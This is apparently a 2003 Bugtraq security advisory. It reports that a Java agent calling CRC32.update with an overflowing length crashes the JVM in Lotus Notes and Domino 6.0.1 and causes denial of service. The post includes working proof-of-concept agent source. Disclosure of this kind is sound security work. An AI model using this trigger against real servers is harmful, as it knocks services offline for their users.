bugtraq - Java Agent freezes Lotus Notes and Domino 6.0.1

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Date: Sat, 5 Apr 2003 23:48:50 +0200 (MES)
From: Marc Schoenefeld <schonef@...-muenster.de>
To: bugtraq@...urityfocus.com
Subject: Java Agent freezes Lotus Notes and Domino 6.0.1

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Hi,

the following agent causes the IBM JVM 1.3.1 shipped with Lotus Domino 6.0.1
and Lotus Notes 6.0.1 to crash. After calling the agent a huge amount of memory
is not freed and causes the server machine (observed on MS XP) to
deny further service.

IMPLICATIONS
- - If the agent is run on the client, Lotus Notes 6.0.1 is vulnerable,
- - if the agent is run on the server, Lotus Domino 6.0.1 is vulnerable.

ANALYSIS:
The call to the "update" method of the CRC32 raises an integer overflow
in the java java.util.zip.* core libraries which triggers a jni routine
that cannot handle the extreme high input value.

HISTORY:
This vulnerability has already been detected in the Sun JDK
(http://developer.java.sun.com/developer/bugParade/bugs/4811913.html),
and was disclosed at Blackhat Windows 2003.
The background of this bugs is described at www.illegalaccess.org

Sincerely
Marc Schoenefeld

=========================Agent Source Code===========================
import lotus.domino.*;
import java.util.zip.*;

public class JavaAgent extends AgentBase {

	public void NotesMain() {

		try {
			Session session = getSession();
			AgentContext agentContext =
session.getAgentContext();
			 CRC32 crc32 = new CRC32();
        crc32.update(new byte[0], 4, 0x7ffffffc);

			// (Your code goes here)

		} catch(Exception e) {
			e.printStackTrace();
		}
	}
}
=========================Agent Source Code===========================

- --

Never be afraid to try something new. Remember, amateurs built the
ark; professionals built the Titanic. -- Anonymous

Marc Schönefeld Dipl. Wirtsch.-Inf. / Software Developer
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